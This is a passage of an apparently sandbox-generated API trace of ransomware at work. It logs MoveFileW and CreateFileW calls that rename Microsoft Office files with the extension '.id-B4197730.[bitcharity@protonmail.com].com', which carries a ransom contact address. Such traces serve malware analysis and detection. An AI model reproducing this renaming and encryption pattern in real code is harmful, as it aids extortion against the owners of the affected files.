16\\Organic.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\organic.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\organic.thmx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0263.221] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\retrospect.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\retrospect.thmx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0263.227] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.227] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\slice.thmx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.227] CloseHandle (hObject=0x1160) returned 1 [0263.232] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.232] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\aspect.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.233] CloseHandle (hObject=0x1160) returned 1 [0263.234] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.234] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue green.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.234] CloseHandle (hObject=0x1160) returned 1 [0263.236] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.236] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue ii.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.236] CloseHandle (hObject=0x1160) returned 1 [0263.238] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.238] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue warm.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.238] CloseHandle (hObject=0x1160) returned 1 [0263.239] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.239] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.240] CloseHandle (hObject=0x1160) returned 1 [0263.240] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.241] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\grayscale.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.241] CloseHandle (hObject=0x1160) returned 1 [0263.242] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.242] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green yellow.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.243] CloseHandle (hObject=0x1160) returned 1 [0263.245] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.245] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.245] CloseHandle (hObject=0x1160) returned 1 [0263.246] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.246] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\marquee.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.247] CloseHandle (hObject=0x1160) returned 1 [0263.248] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.248] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\median.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.248] CloseHandle (hObject=0x1160) returned 1 [0263.249] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.249] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\office 2007 - 2010.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.250] CloseHandle (hObject=0x1160) returned 1 [0263.251] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.251] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange red.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.252] CloseHandle (hObject=0x1160) returned 1 [0263.253] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.253] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.253] CloseHandle (hObject=0x1160) returned 1 [0263.255] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.255] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\paper.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.255] CloseHandle (hObject=0x1160) returned 1 [0263.263] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.263] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red orange.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.264] CloseHandle (hObject=0x1160) returned 1 [0263.519] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.519] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red violet.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.519] CloseHandle (hObject=0x1154) returned 1 [0264.077] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.077] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.config.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.078] CloseHandle (hObject=0x1194) returned 1 [0264.082] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.082] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+connect to new data source.odc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.082] CloseHandle (hObject=0x1194) returned 1 [0264.083] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.083] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+newsqlserverconnection.odc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.083] CloseHandle (hObject=0x1194) returned 1 [0264.084] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.084] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\DESKTOP.INI.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\desktop.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.084] CloseHandle (hObject=0x1194) returned 1 [0264.085] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.086] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbsample.mdb.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.086] CloseHandle (hObject=0x1194) returned 1 [0264.087] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.087] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DEFAULT.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\default.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.087] CloseHandle (hObject=0x1194) returned 1 [0264.088] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.088] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EADOCUMENTAPPROVAL_INIT.XSN.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\eadocumentapproval_init.xsn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.088] CloseHandle (hObject=0x1194) returned 1 [0264.089] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.089] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\eadocumentapproval_review.xsn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.089] CloseHandle (hObject=0x1194) returned 1 [0264.090] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.090] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\exptoows.xla.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.091] CloseHandle (hObject=0x1194) returned 1 [0264.091] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.091] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\forest.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.092] CloseHandle (hObject=0x1194) returned 1 [0264.093] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.093] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.093] CloseHandle (hObject=0x1194) returned 1 [0264.094] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.094] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\invite or link.one.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.094] CloseHandle (hObject=0x1194) returned 1 [0264.095] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.095] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\jade.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.095] CloseHandle (hObject=0x1194) returned 1 [0264.097] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.097] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.097] CloseHandle (hObject=0x1194) returned 1 [0264.098] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.098] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft 